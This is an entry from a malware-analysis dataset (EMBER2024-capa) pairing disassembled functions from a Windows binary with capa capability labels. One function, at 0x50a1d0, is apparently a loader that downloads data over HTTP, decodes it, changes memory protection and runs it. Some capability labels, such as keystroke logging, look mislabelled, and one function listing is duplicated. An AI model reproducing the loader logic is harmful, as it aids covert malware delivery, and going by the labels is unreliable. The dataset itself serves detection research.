joyce8/EMBER2024-capa huggingface dataset:
Function at 0x500210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x8c
cmp dword [ecx + 8], 0
mov dword [esp + 8], ecx
jne 0x50025e
mov eax, dword [esp + 0xa4]
mov edx, dword [esp + 0xa0]
push eax
mov eax, dword [esp + 0xa0]
push edx
mov edx, dword [esp + 0xa0]
push eax
mov eax, dword [esp + 0xa0]
push edx
mov edx, dword [esp + 0xa0]
push eax
push edx
call fcn.004fd560
add esp, 0x8c
ret 0x18
xor eax, eax
mov word [esp + 0x22], ax
mov eax, dword [esp + 0x98]
push ebx
movzx dx, al
push ebp
push esi
mov esi, 0xff
imul dx, si
mov word [esp + 0x28], dx
mov edx, eax
shr edx, 8
movzx dx, dl
imul dx, si
shr eax, 0x10
movzx ax, al
mov word [esp + 0x2a], dx
mov edx, esi
imul ax, dx
push edi
mov edi, dword [esp + 0xa4]
mov ecx, dword [edi + 4]
mov ebp, dword [edi]
mov word [esp + 0x30], ax
mov eax, dword [edi + 8]
mov edi, dword [edi + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0x34], eax
xor eax, eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x38], ecx
mov word [esp + 0x42], ax
mov eax, dword [esp + 0xac]
movzx dx, al
mov ecx, esi
imul dx, cx
mov ecx, eax
shr ecx, 8
movzx si, cl
shr eax, 0x10
mov ecx, 0xff
imul si, cx
movzx ax, al
imul ax, cx
xor ecx, ecx
mov word [esp + 0x52], cx
mov ecx, dword [esp + 0xb0]
mov dword [esp + 0x14], edi
mov dword [esp + 0x48], edi
movzx di, cl
mov ebx, 0xff
imul di, bx
mov ebx, ecx
shr ebx, 8
shr ecx, 0x10
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x44], ebp
movzx bx, bl
mov ebp, 0xff
movzx cx, cl
imul bx, bp
imul cx, bp
mov ebp, dword [esp + 0x10]
mov dword [esp + 0x54], ebp
mov ebp, dword [esp + 0x20]
mov dword [esp + 0x58], ebp
xor ebp, ebp
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 1
mov word [esp + 0x3c], dx
mov word [esp + 0x3e], si
mov word [esp + 0x40], ax
mov dword [esp + 0x8c], 2
mov word [esp + 0x4c], di
mov word [esp + 0x4e], bx
mov word [esp + 0x50], cx
mov dword [esp + 0x90], 3
mov word [esp + 0x62], bp
mov word [esp + 0x5c], dx
mov edx, dword [esp + 0x1c]
mov word [esp + 0x70], cx
mov ecx, dword [esp + 0x10]
mov word [esp + 0x60], ax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x64], edx
xor edx, edx
mov dword [esp + 0x74], ecx
mov dword [esp + 0x68], eax
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0xb4]
mov word [esp + 0x72], dx
mov word [esp + 0x82], dx
movzx cx, al
mov edx, 0xff
imul cx, dx
mov word [esp + 0x7c], cx
mov ecx, eax
shr ecx, 8
movzx dx, cl
mov ecx, 0xff
imul dx, cx
mov word [esp + 0x7e], dx
shr eax, 0x10
movzx dx, al
mov eax, ecx
mov ecx, dword [esp + 0x18]
imul dx, ax
mov eax, dword [ecx + 0xc]
push 2
push 2
mov word [esp + 0x88], dx
lea edx, [esp + 0x8c]
push edx
mov edx, dword [esp + 0xac]
push 6
lea ecx, [esp + 0x34]
push ecx
mov ecx, dword [edx + 4]
push ecx
mov word [esp + 0x76], si
mov dword [esp + 0xac], 4
mov word [esp + 0x84], di
mov word [esp + 0x86], bx
mov dword [esp + 0xb0], 5
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8c
ret 0x18
Function at 0x508270
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x164
mov eax, dword [0x5eabd8]
xor eax, esp
mov dword [esp + 0x160], eax
xor eax, eax
cmp dword [esp + 0x168], eax
lea ecx, [esp]
setne al
or eax, 0x4000
push eax
push 0x160
push ecx
push 0
push 0x5aba3c
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [esp + 0x160]
xor ecx, esp
call fcn.004adaab
add esp, 0x164
ret 4

Function at 0x508fc0
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x170
mov eax, dword [0x5eabd8]
xor eax, esp
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0x178]
push ebx
push ebp
mov ebp, dword [esp + 0x184]
push esi
push edi
mov edi, dword [esp + 0x184]
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
mov ebx, ecx
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x24]
push 1
push edi
mov dword [esp + 0x24], 0xffffffff
call ecx
mov eax, dword [ebx + 0x54]
mov edx, dword [eax]
push 0x124
push eax
mov eax, dword [edx + 0xc]
call eax
mov esi, eax
test esi, esi
je 0x509088
mov dword [esi], edi
mov ecx, dword [edi]
mov edx, dword [ecx + 4]
push edi
call edx
mov eax, dword [esp + 0x10]
push eax
mov ecx, ebx
call fcn.005086c0
push ebp
mov ecx, ebx
mov dword [esi + 4], eax
call fcn.005086c0
mov dword [esi + 8], eax
mov ecx, dword [esp + 0x14]
mov dword [esi + 0xc], ecx
mov edx, dword [esp + 0x10]
push edx
push edi
lea eax, [esp + 0x20]
push eax
mov ecx, ebx
call fcn.00508e50
mov eax, dword [esp + 0x18]
cmp dword [eax - 0xc], 0
jne 0x50908f
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x509088
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x509146
push eax
lea ecx, [esi + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esi + 8]
mov edi, dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push 0x4009
push 0x160
lea edx, [esp + 0x24]
push edx
push 0
push eax
call edi
mov eax, dword [esi + 8]
mov ecx, dword [esp + 0x20]
push 0x400b
push 0x160
lea edx, [esp + 0x24]
push edx
push 0
push eax
mov dword [esi + 0x11c], ecx
call edi
mov eax, dword [esi + 8]
mov ecx, dword [esp + 0x20]
push 0x4008
push 0x160
lea edx, [esp + 0x24]
push edx
push 0
push eax
mov dword [esi + 0x120], ecx
call edi
mov eax, dword [esi + 8]
mov ecx, dword [esp + 0x20]
push 0x400a
push 0x160
lea edx, [esp + 0x24]
push edx
push 0
push eax
mov dword [esi + 0x114], ecx
call edi
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x118], ecx
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x509144
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x17c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004adaab
add esp, 0x170
ret 0xc
Function at 0x50a1d0
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
insb byte es:[edi], dx
and al, 0x24
mov esi, ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
je 0x50a2e9
push ebp
push dword [0x6e55fc]
push ebp
push ebp
push dword [0x6e5648]
outsb dx, byte [esi]
add byte [eax - 1], dl
adc eax, sym.imp.WININET.dll_InternetOpenUrlA
mov edi, eax
test edi, edi
je 0x50a2e9
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x10]
push eax
push dword [0x6e5600]
push ebx
push edi
call ebp
test eax, eax
je 0x50a2e7
cmp dword [esp + 0x10], 0
jbe 0x50a23e
add esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push dword [0x6e5600]
push esi
push edi
call ebp
test eax, eax
jne 0x50a220
xor ebp, ebp
cmp esi, ebx
je 0x50a2e9
mov edx, dword [ebx]
mov ecx, ebp
mov eax, dword [0x6e5620]
mov eax, dword [eax + ecx]
add eax, edx
mov dword [ecx + esi], eax
add ecx, 4
cmp ecx, 0x20
jl 0x50a24c
push esi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x50a2e9
mov esi, dword [0x6e5628]
lea eax, [esp + 0x14]
push eax
push dword [0x6e563c]
push 0x4000
push esi
call edi
mov edx, dword [0x6e5614]
lea ecx, [esi + 8]
add edx, dword [esp + 0x1c]
mov ebx, 0xffe
mov eax, dword [edx + 4]
sub edx, esi
mov dword [esp + 0x1c], eax
mov eax, dword [edx + ecx]
add eax, dword [esp + 0x1c]
mov dword [ecx], eax
lea ecx, [ecx + 4]
sub ebx, 1
jne 0x50a2a6
mov eax, dword [0x6e5670]
mov dword [esi + 8], eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push 0x4000
push esi
call edi
mov eax, dword [0x6e5630]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x6e5630]
add ecx, esi
add esi, eax
push esi
call ecx
pop ecx
xor ebp, ebp
push 0x10
push dword [0x6e5644]
push dword [0x6e561c]
push ebp
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebp
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x50b8e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5818e8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov esi, ecx
push 0x2c
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004aeb90
add esp, 0xc
mov ecx, dword [esp + 0x44]
lea edx, [esp + 8]
mov dword [esp + 0x1c], ecx
push edx
mov ecx, esi
mov dword [esp + 0x40], 0
mov dword [esp + 0x30], 0x100000
call fcn.0050b870
cmp dword [esp + 0x30], 0
mov esi, eax
je 0x50b957
mov eax, dword [esp + 8]
test eax, eax
je 0x50b955
push eax
call fcn.00473c8f
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x38
ret 4
Function at 0x50c2b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x58134e
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
push esi
push edi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0xb4]
mov dword fs:[0], eax
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
push 0
push eax
push ecx
lea ecx, [esp + 0x30]
call fcn.004aac4b
push 0
push 0x1000
push 1
lea edx, [esp + 0x30]
push edx
lea ecx, [esp + 0x7c]
mov dword [esp + 0xcc], 0
call fcn.00488cf2
lea ecx, [esp + 0xc]
mov byte [esp + 0xbc], 1
call fcn.0047e221
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0xc0], 2
call fcn.0047e88f
lea ecx, [esp + 0x6c]
call fcn.00488b3b
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
call fcn.00485f40
mov edx, dword [eax + 0x78]
mov ecx, dword [edx]
call fcn.004f43e0
mov esi, dword [esp + 0xc4]
mov edi, eax
test esi, esi
je 0x50c373
cmp dword [esi + 4], 0
jne 0x50c3bd
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x4c]
push eax
push 0
push ecx
call fcn.00485f40
mov edx, dword [eax + 0x78]
mov ecx, dword [edx]
call fcn.00484221
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.USER32.dll_CopyRect]
mov edx, dword [esp + 0x20]
sub edx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
push 0
push 1
push 1
push edx
push eax
mov ecx, esi
call fcn.0047e9dc
mov esi, dword [esi + 4]
push edi
push 0xffffffffffffffff
push esi
call fcn.00485f40
mov ecx, dword [eax + 0x78]
mov ecx, dword [ecx]
call fcn.00428170
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_DestroyIcon]
lea ecx, [esp + 0xc]
mov byte [esp + 0xbc], 1
call fcn.0047eaca
lea ecx, [esp + 0x6c]
mov byte [esp + 0xbc], 0
call fcn.00488cb4
lea ecx, [esp + 0x24]
mov dword [esp + 0xbc], 0xffffffff
call fcn.004aafcb
mov eax, esi
mov ecx, dword [esp + 0xb4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xb4
ret
Function at 0x50f700
Capabilities:
Hide graphical window

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
je 0x50f73f
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esi + 0xe4]
call fcn.0050c430
test eax, eax
je 0x50f73f
push edi
mov ecx, esi
call fcn.0050dd30
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x50f73f
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 4

Function at 0x50f750
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10
push ebx
mov ebx, ecx
test eax, eax
je 0x50f7d9
push esi
push edi
push eax
call fcn.0050dd30
lea esi, [ebx + 0x154]
push esi
mov edi, eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
jne 0x50f7ce
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esi + 0xc]
sub ecx, dword [esi + 4]
mov edx, dword [esi + 8]
sub edx, dword [esi]
mov eax, dword [ebx + 0x158]
push 0
push ecx
mov ecx, dword [esi]
push edx
push eax
push ecx
push edi
call dword [sym.imp.USER32.dll_MoveWindow]
cmp dword [esp + 0x24], 0
je 0x50f7bc
push 0x105
push 0
push 0
push edi
call dword [sym.imp.USER32.dll_RedrawWindow]
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
add esp, 0x10
ret 8
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
add esp, 0x10
ret 8
Function at 0x510ab0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push eax
mov esi, ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [esi + 0x20]
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.USER32.dll_ScreenToClient]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push 0
lea eax, [esp + 0x10]
push eax
push ecx
push edx
mov ecx, esi
call fcn.0050c8b0
or ebx, 0xffffffff
cmp dword [esi + 0x1ec], 0
mov ebp, eax
je 0x510b09
cmp ebp, ebx
je 0x510b0b
mov eax, dword [esp + 0xc]
cmp eax, ebx
je 0x510b09
cmp eax, 0xfffffffe
jne 0x510b0b
mov ebp, ebx
push edi
push ebp
mov ecx, esi
call fcn.0050ceb0
mov edi, eax
mov dword [esp + 0x14], edi
cmp dword [esi + 0x70], ebx
jne 0x510b8c
cmp ebp, ebx
je 0x510b8c
mov ecx, esi
call fcn.00509770
test al, 1
jne 0x510b8c
cmp dword [esi + 0x214], ebp
jne 0x510b8c
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
mov eax, ecx
sub eax, dword [esi + 0x210]
cdq
mov ebx, eax
xor ebx, edx
mov eax, edi
sub eax, dword [esi + 0x20c]
sub ebx, edx
cdq
xor eax, edx
sub eax, edx
add ebx, eax
cmp ebx, 8
jle 0x510b85
mov edx, dword [esi + 0x210]
mov eax, dword [esi + 0x20c]
sub ecx, edx
add dword [esi + 0x208], ecx
sub edi, eax
add dword [esi + 0x204], edi
push ebp
mov ecx, esi
call fcn.00510730
mov edi, dword [esp + 0x14]
or ebx, 0xffffffff
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x510b9e
cmp dword [esi + 0x70], ebx
je 0x510ba4
mov dword [esi + 0x214], ebx
cmp ebp, ebx
je 0x510bb0
push ebp
mov ecx, esi
call fcn.0050cf20
cmp ebp, edi
je 0x510bc0
cmp edi, ebx
je 0x510bc0
push edi
mov ecx, esi
call fcn.0050cf20
cmp dword [esi + 0x1f0], 0
mov edi, dword [sym.imp.USER32.dll_RedrawWindow]
mov ebp, dword [esp + 0x10]
je 0x510bec
cmp ebp, 0xfffffffd
je 0x510bec
mov ecx, dword [esi + 0x20]
push 0x105
push 0
lea eax, [esi + 0x138]
push eax
push ecx
call edi
cmp dword [esi + 0x1f4], 0
je 0x510c0e
cmp ebp, 0xfffffffc
je 0x510c0e
mov eax, dword [esi + 0x20]
push 0x105
push 0
lea edx, [esi + 0x148]
push edx
push eax
call edi
mov ecx, esi
call fcn.00509770
pop edi
test eax, 0x1000
je 0x510c55
cmp dword [esi + 0x70], ebx
jne 0x510c55
cmp dword [esi + 0x1f0], 0
jne 0x510c34
cmp ebp, 0xfffffffd
jne 0x510c34
push 1
jmp 0x510c44
cmp dword [esi + 0x1f4], 0
jne 0x510c55
cmp ebp, 0xfffffffc
jne 0x510c55
push 0
mov ecx, esi
mov dword [esi + 0x1f8], 1
call fcn.0050ed40
cmp dword [esi + 0x1f8], 0
je 0x510c81
cmp dword [esi + 0x1f0], 0
je 0x510c6c
cmp ebp, 0xfffffffd
jne 0x510c7a
cmp dword [esi + 0x1f4], 0
je 0x510c81
cmp ebp, 0xfffffffc
je 0x510c81
mov ecx, esi
call fcn.0050a990
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x511d00
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x18
push esi
mov esi, ecx
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
lea edx, [esp + 4]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call fcn.004777db
test eax, eax
je 0x511d3d
mov eax, dword [eax + 0x20]
cmp eax, dword [esi + 0x20]
jne 0x511d8d
mov ecx, esi
call fcn.0047b64e
test eax, eax
je 0x511d8d
cmp dword [esi + 0x224], 0
jne 0x511d72
mov edx, dword [esi + 0x20]
push 0
push 0xc8
push 0x113
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x224], eax
mov ecx, esi
mov dword [esi + 0x1ec], 1
call fcn.00510ab0
mov eax, 1
pop esi
add esp, 0x18
ret
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jl 0x511de0
mov eax, dword [esi + 0x224]
test eax, eax
je 0x511db9
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [esi + 0x224], 0
push 0xffffffffffffffff
mov ecx, esi
mov dword [esi + 0x1ec], 0
call fcn.0050ceb0
cmp eax, 0xffffffff
je 0x511dd9
push eax
mov ecx, esi
call fcn.0050cf20
xor eax, eax
pop esi
add esp, 0x18
ret
mov ecx, esi
mov dword [esi + 0x1ec], 0
call fcn.00510ab0
mov eax, 1
pop esi
add esp, 0x18
ret

Function at 0x511d03
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x18
push esi
mov esi, ecx
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
lea edx, [esp + 4]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call fcn.004777db
test eax, eax
je 0x511d3d
mov eax, dword [eax + 0x20]
cmp eax, dword [esi + 0x20]
jne 0x511d8d
mov ecx, esi
call fcn.0047b64e
test eax, eax
je 0x511d8d
cmp dword [esi + 0x224], 0
jne 0x511d72
mov edx, dword [esi + 0x20]
push 0
push 0xc8
push 0x113
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x224], eax
mov ecx, esi
mov dword [esi + 0x1ec], 1
call fcn.00510ab0
mov eax, 1
pop esi
add esp, 0x18
ret
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jl 0x511de0
mov eax, dword [esi + 0x224]
test eax, eax
je 0x511db9
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [esi + 0x224], 0
push 0xffffffffffffffff
mov ecx, esi
mov dword [esi + 0x1ec], 0
call fcn.0050ceb0
cmp eax, 0xffffffff
je 0x511dd9
push eax
mov ecx, esi
call fcn.0050cf20
xor eax, eax
pop esi
add esp, 0x18
ret
mov ecx, esi
mov dword [esi + 0x1ec], 0
call fcn.00510ab0
mov eax, 1
pop esi
add esp, 0x18
ret
Function at 0x513830
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5818e8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov esi, ecx
push 0x2c
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004aeb90
add esp, 0xc
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x44]
push 0
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x24], ecx
push eax
mov ecx, esi
mov dword [esp + 0x48], 0
mov dword [esp + 0x38], 0x100000
call fcn.00513580
cmp dword [esp + 0x30], 0
mov esi, eax
je 0x5138ae
mov eax, dword [esp + 8]
test eax, eax
je 0x5138ac
push eax
call fcn.00473c8f
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x38
ret 8
Function at 0x516ee0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x581cd8
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov eax, dword [ecx + 4]
push str.DrawThemeText
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push ecx
lea ecx, [esp + 0x30]
mov esi, eax
call fcn.00516de0
mov eax, dword [eax]
mov dword [esp + 0x14], 0
test eax, eax
je 0x516f33
mov eax, dword [eax]
jmp 0x516f35
xor eax, eax
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x38]
push edx
mov edx, dword [esp + 0x34]
push eax
push ecx
push edx
call esi
mov esi, dword [esp + 0x2c]
mov edi, eax
mov dword [esp + 0x14], 0xffffffff
test esi, esi
je 0x516faa
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x516faa
test esi, esi
je 0x516faa
mov eax, dword [esi]
test eax, eax
je 0x516f91
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x516fa1
push eax
call fcn.00473c8f
add esp, 4
push esi
call fcn.00473c8f
add esp, 4
xor eax, eax
test edi, edi
sete al
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 0x24

Function at 0x517bf0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x581e5b
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x5eabd8]
xor eax, esp
mov dword [esp + 0x144], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0x15c]
mov dword fs:[0], eax
mov edi, dword [esp + 0x170]
mov esi, dword [esp + 0x16c]
mov ecx, edi
xor ebp, ebp
call fcn.00486ba7
call fcn.0047cfdc
xor ecx, ecx
cmp eax, ebp
setne cl
cmp ecx, ebp
jne 0x517c5c
push 0x80004005
call fcn.00414da0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
push esi
lea ecx, [esp + 0x18]
push str._s.lang
push ecx
mov dword [esp + 0x170], ebp
call fcn.00415480
mov eax, dword [esp + 0x20]
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x517cc3
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [esp + 0x44]
push ecx
mov ecx, edi
call fcn.00486cd3
lea edx, [esp + 0x18]
push edx
push esi
inc ebp
call ebx
test eax, eax
jne 0x517ca3
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov dword [esp + 0x164], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x517cee
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebp
mov ecx, dword [esp + 0x15c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.004adaab
add esp, 0x154
ret 8
Function at 0x518040
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x581f20
mov eax, dword fs:[0]
push eax
push ecx
push ebp
push esi
push edi
mov eax, dword [0x5eabd8]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov ebp, ecx
mov esi, dword [esp + 0x28]
mov eax, dword [esi]
mov edi, dword [ebp + 4]
sub eax, 0x10
mov ecx, 1
sub ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
sub eax, 0x1000
or eax, ecx
mov dword [esp + 0x1c], 0
jge 0x51809a
push 0x1000
mov ecx, esi
call fcn.00415100
mov eax, dword [esi]
push edi
push 0x1000
push eax
mov eax, dword [esp + 0x30]
push 0x5aba3c
push eax
push 0x58878c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [esp + 0x10], eax
mov eax, dword [esi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x5180d7
push ecx
push eax
call fcn.004ae637
add esp, 8
test eax, eax
jl 0x51818c
mov ecx, dword [esi]
cmp eax, dword [ecx - 8]
jg 0x51818c
mov dword [ecx - 0xc], eax
mov ecx, dword [esi]
mov byte [eax + ecx], 0
mov eax, dword [esi]
push ecx
sub eax, 0x10
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.004151c0
add esp, 4
lea edx, [esp + 0x2c]
add eax, 0x10
push edx
mov ecx, ebp
mov dword [edi], eax
call fcn.00517dd0
push eax
mov ecx, esi
mov byte [esp + 0x20], 1
call fcn.00417aa0
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov byte [esp + 0x1c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x518143
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
xor ecx, ecx
cmp ecx, dword [esp + 0x10]
mov dword [esp + 0x1c], 0xffffffff
sbb esi, esi
add eax, 0xfffffff0
neg esi
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x518175
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x10
ret 8
push 0x80070057
call fcn.00414da0
int3
Function at 0x5195c0
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
jne 0x5195d3
push 0x80004005
call fcn.00414da0
mov edx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
push edi
push esi
lea eax, [esp + 0x1c]
push eax
mov eax, dword [ecx]
push 0
push edx
push eax
mov dword [esp + 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test esi, esi
je 0x51963a
mov ecx, dword [edi]
test ecx, ecx
jbe 0x519637
mov edx, dword [esp + 0x14]
test edx, edx
jbe 0x519632
cmp edx, 2
jbe 0x51962b
cmp edx, 7
jne 0x519632
cmp ecx, 1
jb 0x519632
cmp byte [ecx + esi - 1], 0
jne 0x519632
cmp ecx, 1
jbe 0x51963a
cmp byte [ecx + esi - 2], 0
jmp 0x519630
cmp byte [ecx + esi - 1], 0
je 0x51963a
mov eax, 0xd
mov byte [esi], 0
pop esi
pop edi
ret 0xc